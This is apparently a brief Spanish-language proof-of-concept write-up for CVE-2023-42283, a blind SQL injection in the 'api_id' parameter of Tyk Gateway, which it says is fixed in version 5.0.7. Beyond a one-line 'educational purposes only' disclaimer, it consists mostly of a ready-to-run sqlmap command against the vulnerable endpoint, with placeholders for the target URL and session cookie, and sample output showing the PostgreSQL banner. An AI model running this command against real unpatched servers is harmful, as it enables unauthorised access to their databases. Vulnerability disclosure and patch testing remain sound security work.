
Prueba de concepto para CVE-2023-42283 en Tyk Gateway
Solo con fines educativos.
Prueba de concepto para CVE-2023-42283. Tyk Gateway es vulnerable a inyección SQL. Corregido en la versión 5.0.7.
El parámetro de URL ‘api_id’ de "https://<YOUR_URL>/api/errors/count/...?res=day&p=...&api_version=...&api_id=<PAYLOAD_HERE>"es vulnerable a inyección SQL ciega.
Use sqlmap con los siguientes parámetros:
python.exe .\sqlmap.py -u "https://<INSERT YOUR URL>/api/errors/count/11/8/2022/13/1/2022?res=day&p=-1&api_version=Non%20Versioned&api_id=1" -p "api_id" --cookie="<INSERT COOKIE HERE>" --banner
El banner de la base de datos SQL se devuelve en la respuesta:
...
banner: Postgresql 13.01 on x86_64-pc-linux-gnu
...